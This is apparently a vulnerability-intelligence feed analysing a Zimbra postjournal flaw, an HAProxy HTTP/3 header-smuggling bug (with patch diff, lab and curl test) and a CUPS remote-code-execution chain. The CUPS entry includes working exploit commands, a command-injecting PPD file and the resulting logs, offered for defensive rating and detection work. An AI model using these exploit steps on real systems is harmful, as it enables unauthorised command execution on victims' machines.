Activity Feed
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/10/03/cisa-adds-one-known-exploited-vulnerability-catalog)
Technical Analysis
This is one of a list of vulnerabilities disclosed in Synacor’s Zimbra Collaboration Suite recently — this particular issue lies in Zimbra’s postjournal service and evidently allows for unauthenticated command execution. Multiple sources are reporting either attempted or successful exploitation along with insights on post-exploitation behavior.
One of the technical staff on Zimbra commented to HelpNetSecurity that the postjournal service “may be optional or not enabled on most systems,” which probably means a lower exploitable target population. Zimbra has historically been a target for both APT and commodity attackers, so for orgs that run this software, it’s a good idea to patch up (and/or verify the vulnerable service isn’t enabled).
Scoring this as a Medium for attacker value as of now since 1) attackers like Zimbra and are into whatever lets ‘em read emails (particularly from gov servers!); and 2) this config doesn’t seem to be the default, and some of the public write-ups do mention misses on getting exploits working.
More references:
- Zimbra advisory page
- Root cause analysis and PoC (Project Discovery)
- Additional context (Bleeping Computer)
Other Zimbra CVE analysis in AttackerKB:
- Other: Social media reports of exploitation and post-exploitation behavior (https://x.com/threatinsight/status/1841089939905134793)
Technical Analysis
Table of contents
Vulnerability Description
HAProxy’s HTTP/3 implementation fails to block a malformed HTTP header field name, and when deployed in front of a server that incorrectly process this malformed header, it may be used to conduct an HTTP request/response smuggling attack. A remote attacker may alter a legitimate user’s request. As a result, the attacker may obtain sensitive information or cause a denial-of-service (DoS) condition.
https://jvn.jp/en/jp/JVN38170084/
Source Code Review
A very good approach before starting any research on CVEs is to begin by reading the vulnerability description and then check if the commit(s) for patching are available.
In my case, the commit was available, and it is evident that the developers of HAProxy forgot to include the RFC 9114 4.1.2. Malformed Requests and Responses checks during the parsing of the standard headers on HTTP3 implementation.
Refer to the patch commit below.
--- a/src/h3.c +++ b/src/h3.c @@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf, //struct ist scheme = IST_NULL, authority = IST_NULL; struct ist authority = IST_NULL; int hdr_idx, ret; - int cookie = -1, last_cookie = -1; + int cookie = -1, last_cookie = -1, i; + + /* RFC 9114 4.1.2. Malformed Requests and Responses + * + * A malformed request or response is one that is an otherwise valid + * sequence of frames but is invalid due to: + * - the presence of prohibited fields or pseudo-header fields, + * - the absence of mandatory pseudo-header fields, + * - invalid values for pseudo-header fields, + * - pseudo-header fields after fields, + * - an invalid sequence of HTTP messages, + * - the inclusion of uppercase field names, or + * - the inclusion of invalid characters in field names or values. + * + * [...] + * + * Intermediaries that process HTTP requests or responses (i.e., any + * intermediary not acting as a tunnel) MUST NOT forward a malformed + * request or response. Malformed requests or responses that are + * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR. + */ TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs); @@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf, if (isteq(list[hdr_idx].n, ist(""))) break; + for (i = 0; i < list[hdr_idx].n.len; ++i) { + const char c = list[hdr_idx].n.ptr[i]; + if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) { + TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs); + return -1; + } + } + if (isteq(list[hdr_idx].n, ist("cookie"))) { http_cookie_register(list, hdr_idx, &cookie, &last_cookie); continue;
Repositories – haproxy-2.7.git/commit
Below, you can find the code that demonstrates the absence of header name sanitization in the implementation of handling standard headers on HAProxy 2.7.0.
/* src/h3.c lines: 413 - 428 */ /* now treat standard headers */ hdr_idx = 0; while (1) { if (isteq(list[hdr_idx].n, ist(""))) break; if (isteq(list[hdr_idx].n, ist("cookie"))) { http_cookie_register(list, hdr_idx, & cookie, & last_cookie); continue; } if (!istmatch(list[hdr_idx].n, ist(":"))) htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v); ++hdr_idx; }
Below, you can find the code that is used to check if header name is valid.
The code starts with a for loop that iterates through each character of a header field name. The loop runs from i = 0
to i < list[hdr_idx0.n.len]
, where list
is an array or structure containing header information, and hdr_idx
is an index representing the spicific header being checked.
Inside the loop , the code extracts the current character c
from the header field name.
list[hdr_idx].n.ptr[i]
accesses the character at the i
-th position in the header field’s name.
The next part of the code contains an if
statement. It checks whether the current character c
satisfies one of two conditions:
(uint8_t)(c - 'A') < 'Z' - 'A'
: This checks if the character is an uppercase letter (A to Z) by subtracting ‘A’ fromc
and casting the result touint8_t
If the result is less than the difference between ‘Z’ and ‘A’, then the character is an uppercase letter.
!HTTP_IS_TOKEN(c)
: This condition checks if the character is a valid HTTP token character. TheHTTP_IS_TOKEN
works by first checking if the header name contains any tokens. A token is a sequence of characters that is not a reserved character in the HTTP protocol. Reserved characters are characters that have special meaning in the HTTP protocol, e.g.:
,/
,?
, and#
.
/* src/h3.c lines: 439 - 445 */ for (i = 0; i < list[hdr_idx].n.len; ++i) { const char c = list[hdr_idx].n.ptr[i]; if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) { TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs); return -1; } }
Lab Setup
The entire lab is running on Docker. You can run the lab with the following commands:
cd /lab
docker-compose up --build
Please note that the Docker build will take 15-20 minutes to finish.
However, before running the lab, you have to make some configuration changes:
/lab/haproxy/conf/haproxy.cfg
... default_backend api_server backend api_server balance roundrobin server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4
/etc/hosts
[YOUR-LOCAL-IPv4] foo.com
/lab/docker-compose.yml
You can choose between the vulnerable version and the patched version by changing the argument’s value to ‘vuln’ or ‘patched’ to conduct your test on it.
... args: - haproxy_version=patched || vuln ...
and finally import the minica.crt certificate in your browser.
⚠️ Please run the lab in a Linux environment.
Identifying the issue
Sending the following curl request:
curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/
Vulnerable version response:
HTTP/3 200 server: Werkzeug/2.3.6 Python/3.8.17 date: Sat, 12 Aug 2023 13:10:52 GMT content-type: text/html; charset=utf-8 content-length: 76 alt-svc: h3=":443";ma=900; Host: 192.168.1.104 User-Agent: curl/8.1.2-DEV Accept: */* Foooooo\R\N: barr <-- Malformed header
Patched version response:
curl: (56) HTTP/3 stream 0 reset by server
Based on the above findings, the corresponding responses indicate that the vulnerable version of HAProxy allowed the \r\n prefix to pass through to the backend server, whereas the patched version dropped the connection between the client and HAProxy.
An attacker can conduct an HTTP Request Smuggling attack based on backend behavior and how the backend server will treat the malformed header. In my view, the most significant concern is that an attacker could exploit the aforementioned CVE to carry out a Denial of Service (DoS) attack.
References:
https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html
Technical Analysis
Overview
On September 26, 2024, technical details of a four-vulnerability exploit chain affecting the Common UNIX Printing System (CUPS) were disclosed.
The four vulnerabilities and their affected components are as follows, with the CVSS and CWE values as assigned by the CNA.
CVE | Affected Component | CVSS | CWE |
---|---|---|---|
CVE-2024-47176 | cups-browsed | 8.3 (High) | Binding to an Unrestricted IP Address (CWE-1327), Improper Input Validation (CWE-20), Exposed Dangerous Method or Function (CWE-749) |
CVE-2024-47076 | libcupsfilters | 8.6 (High) | Improper Input Validation (CWE-20) |
CVE-2024-47175 | libppd | 8.6 (High) | Improper Input Validation (CWE-20) |
CVE-2024-47177 | cups-filters | 9.0 (Critical) | Command Injection (CWE-ID) |
The exploit chain achieves arbitrary code execution as follows.
First, a remote unauthenticated attacker can leverage CVE-2024-47176 to add a new attacker-controlled printer to a vulnerable target system. The attacker-controlled printer in this case will not be a physical printer, but rather a software endpoint on the attacker’s machine that emulates a printer. This can be achieved by a remote attacker either directly accessing UDP port 631, which is bound by the vulnerable /usr/sbin/cups-browsed
service on all network interfaces, and as such is potentially reachable from the public internet, or by a remote unauthenticated attacker leveraging zero-configuration networking such as multicast DNS (mDNS). In the later scenario, the attacker must be on the same network segment as the target in order to transmit multicast packets that will be received by the target.
Next, due to the improper input validation issues in both CVE-2024-47076 and CVE-2024-47175, attacker-controlled data that originates from an Internet Printing Protocol (IPP) response that the attacker controls is then written to a PostScript Printer Description (PPD) file. This PPD file will contain a malicious FoomaticRIPCommandLine
entry. Finally CVE-2024-47177 will allow for command injection to occur when a new print job is sent to the malicious printer.
For a full analysis of the affected components, the original finder, Simone Margaritelli (a.k.a. evilsocket), has a detailed write up on their blog, along with their original vulnerability report and PoC here.
Ratings
When tagging and rating this vulnerability, I have considered the full exploit chain as it has been published, and as we currently understand the four vulnerabilities in question to work.
I have added the tag “Vulnerable in default configuration”, as the Ubuntu 22.04 system I was testing was vulnerable in a default configuration. However, depending on the target system, this may change, e.g. some server installations of Linux may not run any of the CUPS services, so they will not be vulnerable in a default configuration.
I have added the tag “Unauthenticated”, as the remote attacker does not require any authentication on the target systems to successfully exploit this vulnerability.
I have added the tag “Requires user interaction”, as the current public exploit chain for CVE-2024-47176 + CVE-2024-47076 + CVE-2024-47175 + CVE-2024-47177 does indeed require user interaction. A user must manually send a new print job to a malicious printer for the exploit chain to achieve arbitrary code execution.
Due to the above I have rated both the Attacker Value and the Exploitability as Medium.
Example Exploitation
A public exploit is available here. We can demonstrate successful exploitation against a default install of Ubuntu 22.04 by an attacker on the same LAN segment as the target.
First on the attacker’s machine we perform the following steps to advertise a malicious printer on the LAN via mDNS.
# Clone the exploit code git clone https://github.com/RickdeJager/cupshax cd cupshax # Install dependencies pip install zeroconf pip install ippserver # Allow port 4444 in our firewall, so IPP request from a target can succeed sudo ufw allow 4444 # Run the exploit, passing in out own IP address python3 cupshax.py --ip 192.168.86.42 --name printerhax1 --port 4444 --command "echo hax > /tmp/printerhax1" # The exploit will advertise a malicious printer over the LAN via mDNS. If a target user submits a print job to this printer, the attacker's command will execute on the target system.
On the target system, no user interaction is required to have the malicious printer added to the target system. However, for the attacker to execute an arbitrary command, user interaction must occur. A user on the target system must send a print job to the malicious printer. To demonstrate this, a user can open an editor such as gedit, and print the current document to the malicious printer named printerhax1
.
We can verify exploitation has succeeded as follows, noting that the user account is the lp
user.
$ ls -al /tmp/*hax* -rw------- 1 lp lp 4 Sep 27 15:14 /tmp/printerhax1 $ id lp uid=7(lp) gid=7(lp) groups=7(lp)
IOCs
After exploitation, there are several IOCs that may be present (assuming an attacker has not removed them).
The malicious PPD file will be written to the location /etc/cups/ppd/
during exploitation. However, the file may be removed by CUPS (and regenerated as needed), so it may not be present after exploitation. We can examine the PPD file for the malicious printer named printerhax1
, noting it contains the command injection string *FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;#
$ ls -al /etc/cups/ppd/ total 12 drwxr-xr-x 2 root lp 4096 Sep 27 15:34 . drwxr-xr-x 5 root lp 4096 Sep 27 15:34 .. -rw-r----- 1 root lp 1933 Sep 27 15:34 printerhax1.ppd $ sudo cat /etc/cups/ppd/printerhax1.ppd *PPD-Adobe: "4.3" *FormatVersion: "4.3" *FileVersion: "2.4" *LanguageVersion: English *LanguageEncoding: ISOLatin1 *PSVersion: "(3010.000) 0" *LanguageLevel: "3" *FileSystem: False *PCFileName: "ippeve.ppd" *Manufacturer: "printerhax1" *ModelName: "0.00" *Product: "(0.00)" *NickName: "0.00 - IPP Everywhere" *ShortNickName: "0.00 - IPP Everywhere" *ColorDevice: False *cupsVersion: 2.4 *cupsSNMPSupplies: False *cupsLanguages: "en_IE" *cupsFilter2: "application/vnd.cups-pdf application/pdf 10 -" *OpenUI *PageSize: PickOne *OrderDependency: 10 AnySetup *PageSize *DefaultPageSize: A4 *PageSize A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice" *CloseUI: *PageSize *OpenUI *PageRegion: PickOne *OrderDependency: 10 AnySetup *PageRegion *DefaultPageRegion: A4 *PageRegion A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice" *CloseUI: *PageRegion *DefaultImageableArea: A4 *DefaultPaperDimension: A4 *ImageableArea A4: "18 36 577.275590551181 805.889763779528" *PaperDimension A4: "595.275590551181 841.889763779528" *OpenUI *MediaType: PickOne *OrderDependency: 10 AnySetup *MediaType *DefaultMediaType: Unknown *MediaType Stationery: "<</MediaType(Stationery)>>setpagedevice" *en_IE.MediaType Stationery/Stationery: "" *MediaType : HAX *FoomaticRIPCommandLine: echo hax : "<</MediaType(: HAX *FoomaticRIPCommandLine: echo hax )>>setpagedevice" *en_IE.MediaType : HAX *FoomaticRIPCommandLine: echo hax /: HAX *FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;# *cupsFilter2: "application/vnd.cups-pdf application/pdf 0 foomatic-rip" *%: "" *CloseUI: *MediaType *DefaultResolution: 300dpi *OpenUI *cupsPrintQuality: PickOne *OrderDependency: 10 AnySetup *cupsPrintQuality *en_IE.Translation cupsPrintQuality/Print Quality: "" *DefaultcupsPrintQuality: Normal *cupsPrintQuality Normal: "<</HWResolution[300 300]>>setpagedevice" *en_IE.cupsPrintQuality Normal/Normal: "" *CloseUI: *cupsPrintQuality
The file /var/log/cups/error_log
will contain error information related to a failed filter job.
$ cat /var/log/cups/error_log E [27/Sep/2024:15:14:31 +0100] [Job 1] Job stopped due to filter errors; please consult the /var/log/cups/error_log file for details. D [27/Sep/2024:15:14:31 +0100] [Job 1] The following messages were recorded from 15:14:14 to 15:14:31 D [27/Sep/2024:15:14:31 +0100] [Job 1] Applying default options... D [27/Sep/2024:15:14:31 +0100] [Job 1] File of type application/pdf queued by "testuser". D [27/Sep/2024:15:14:31 +0100] [Job 1] hold_until=0 D [27/Sep/2024:15:14:31 +0100] [Job 1] Queued on "printerhax1" by "testuser". D [27/Sep/2024:15:14:31 +0100] [Job 1] time-at-processing=1727446454 D [27/Sep/2024:15:14:31 +0100] [Job 1] 3 filters for job: D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf (application/pdf to application/vnd.cups-pdf, cost 66) D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip (application/vnd.cups-pdf to printer/printerhax1/application/pdf, cost 0) D [27/Sep/2024:15:14:31 +0100] [Job 1] - (printer/printerhax1/application/pdf to printer/printerhax1, cost 0) D [27/Sep/2024:15:14:31 +0100] [Job 1] job-sheets=none,none D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[0]="printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[1]="1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[2]="testuser" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[3]="Untitled Document 1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[4]="1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[5]="job-originating-user-name=testuser MediaType= job-priority=50 number-up=1 noCollate PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[6]="/var/spool/cups/d00001-001" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[0]="CUPS_CACHEDIR=/var/cache/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[1]="CUPS_DATADIR=/usr/share/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[2]="CUPS_DOCROOT=/usr/share/cups/doc-root" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[3]="CUPS_REQUESTROOT=/var/spool/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[4]="CUPS_SERVERBIN=/usr/lib/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[5]="CUPS_SERVERROOT=/etc/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[6]="CUPS_STATEDIR=/run/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[7]="HOME=/var/spool/cups/tmp" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[8]="PATH=/usr/lib/cups/filter:/usr/bin:/usr/sbin:/bin:/usr/bin" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[9]="SERVER_ADMIN=root@sfewer-ubuntu-test" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[10]="SOFTWARE=CUPS/2.4.1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[11]="TMPDIR=/var/spool/cups/tmp" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[12]="USER=root" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[13]="CUPS_MAX_MESSAGE=2047" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[14]="CUPS_SERVER=/run/cups/cups.sock" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[15]="CUPS_ENCRYPTION=IfRequested" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[16]="IPP_PORT=631" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[17]="CHARSET=utf-8" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[18]="LANG=en_IE.UTF-8" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[19]="PPD=/etc/cups/ppd/printerhax1.ppd" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[20]="CONTENT_TYPE=application/pdf" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[22]="PRINTER_INFO=printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[23]="PRINTER_LOCATION=" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[24]="PRINTER=printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[25]="PRINTER_STATE_REASONS=none" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[26]="CUPS_FILETYPE=document" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[27]="FINAL_CONTENT_TYPE=application/pdf" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[28]="AUTH_I****" D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/pdftopdf (PID 6419) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/foomatic-rip (PID 6420) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started backend /usr/lib/cups/backend/ipp (PID 6421) D [27/Sep/2024:15:14:31 +0100] [Job 1] Calling FindDeviceById(cups-printerhax1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to send: org.freedesktop.ColorManager.NotFound:device id \'cups-printerhax1\' does not exist D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to get find device cups-printerhax1 D [27/Sep/2024:15:14:31 +0100] [Job 1] \'CM Color Calibration\' Mode in SPOOLER-LESS: Off D [27/Sep/2024:15:14:31 +0100] [Job 1] Getting input from file D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip version 1.28.15 running... D [27/Sep/2024:15:14:31 +0100] [Job 1] Parsing PPD file ... D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PageSize D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option ImageableArea D [27/Sep/2024:15:14:31 +0100] [Job 1] Sending stdin for job... D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PaperDimension D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option MediaType D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option Resolution D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option cupsPrintQuality D [27/Sep/2024:15:14:31 +0100] [Job 1] Parameter Summary D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Spooler: cups D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer: printerhax1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Shell: /bin/sh D [27/Sep/2024:15:14:31 +0100] [Job 1] PPD file: /etc/cups/ppd/printerhax1.ppd D [27/Sep/2024:15:14:31 +0100] [Job 1] ATTR file: D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer model: 0.00 - IPP Everywhere D [27/Sep/2024:15:14:31 +0100] [Job 1] Job title: Untitled Document 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] File(s) to be printed: D [27/Sep/2024:15:14:31 +0100] [Job 1] <STDIN> D [27/Sep/2024:15:14:31 +0100] [Job 1] Ghostscript extra search path (\'GS_LIB\'): /usr/share/cups/fonts D [27/Sep/2024:15:14:31 +0100] [Job 1] Printing system options: D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-user-name=testuser\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-user-name=testuser. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-priority=50\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-priority=50. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'number-up=1\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option number-up=1. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'noCollate\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown boolean option \"noCollate\". D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-sheets=none,none\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-sheets=none,none. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-host-name=localhost\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-host-name=localhost. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-creation=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-creation=. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-processing=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-processing=. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-creation=1727446454\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-creation=1727446454. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-processing=1727446454\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-processing=1727446454. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-impressions-completed=0\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-impressions-completed=0. D [27/Sep/2024:15:14:31 +0100] [Job 1] CM Color Calibration Mode in CUPS: Off D [27/Sep/2024:15:14:31 +0100] [Job 1] Options from the PPD file: D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'MediaType=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'PageSize=A4\' D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================ D [27/Sep/2024:15:14:31 +0100] [Job 1] File: <STDIN> D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================ D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: +connecting-to-device D [27/Sep/2024:15:14:31 +0100] [Job 1] Looking up \"printerhax1.local\"... D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: -connecting-to-device D [27/Sep/2024:15:14:31 +0100] [Job 1] printerhax1.local=192.168.86.42 D [27/Sep/2024:15:14:31 +0100] [Job 1] backendWaitLoop(snmp_fd=5, addr=0x5651dfc47368, side_cb=0x5651df842c50) D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Last filter determined by the PPD: -; FINAL_CONTENT_TYPE: application/pdf => pdftopdf will log pages in page_log. D [27/Sep/2024:15:14:31 +0100] [Job 1] PDF interactive form and annotation flattening done via QPDF D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: \"print-scaling\" IPP attribute: auto D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Print scaling mode: Do not scale, center, crop if needed D [27/Sep/2024:15:14:31 +0100] [Job 1] After Cropping: 595.275574 841.889771 595.275574 841.889771 D [27/Sep/2024:15:14:31 +0100] [Job 1] PAGE: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PDF D [27/Sep/2024:15:14:31 +0100] [Job 1] PostScript option found: PageSize=A4: \"<</PageSize[595.275590551181 841.889763779528]>>setpagedevice\" D [27/Sep/2024:15:14:31 +0100] [Job 1] Driver does not understand PDF input, converting to PostScript D [27/Sep/2024:15:14:31 +0100] [Job 1] Storing temporary files in /tmp D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6419 (/usr/lib/cups/filter/pdftopdf) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] File contains 1 pages. D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"pdf-to-ps\" (generation 1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer make and model: printerhax1 0.00 D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for pstops: pstops 1 testuser \'Untitled Document 1\' 1 \' job-originating-user-name=testuser MediaType= job-priority=50 PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Using image rendering resolution 300 dpi D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for gs: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=%stderr -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=%stdout -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE -c \'save pop\' -f /tmp/foomatic-P4LVq9 D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter gs (PID 6426) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter pstops (PID 6427) D [27/Sep/2024:15:14:31 +0100] [Job 1] Page = 595x842; 18,36 to 577,806 D [27/Sep/2024:15:14:31 +0100] [Job 1] slow_collate=0, slow_duplex=0, slow_order=0 D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_comments - %!PS-Adobe-3.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] %!PS-Adobe-3.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Invocation: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=? -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=? -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE ? D [27/Sep/2024:15:14:31 +0100] [Job 1] %%+ ? -f ? D [27/Sep/2024:15:14:31 +0100] [Job 1] %%BoundingBox: 0 0 596 842 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%HiResBoundingBox: 0 0 596.00 842.00 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Creator: GPL Ghostscript 9550 (ps2write) D [27/Sep/2024:15:14:31 +0100] [Job 1] %%LanguageLevel: 2 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%CreationDate: D:20240927151414+01\'00\' D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Pages: 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%EndComments D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_prolog - %%BeginProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PostScript D [27/Sep/2024:15:14:31 +0100] [Job 1] Reading PostScript input ... D [27/Sep/2024:15:14:31 +0100] [Job 1] --> This document is DSC-conforming! D [27/Sep/2024:15:14:31 +0100] [Job 1] Found %RBINumCopies: 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Prolog\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_setup - %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Before page loop - %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Copying page 1... D [27/Sep/2024:15:14:31 +0100] [Job 1] pagew = 559.3, pagel = 769.9 D [27/Sep/2024:15:14:31 +0100] [Job 1] bboxx = 0, bboxy = 0, bboxw = 595, bboxl = 841 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageLeft = 18.0, PageRight = 577.3 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageTop = 805.9, PageBottom = 36.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageWidth = 595.3, PageLength = 841.9 D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *MediaType D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: MediaType= D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *PageSize A4 D [27/Sep/2024:15:14:31 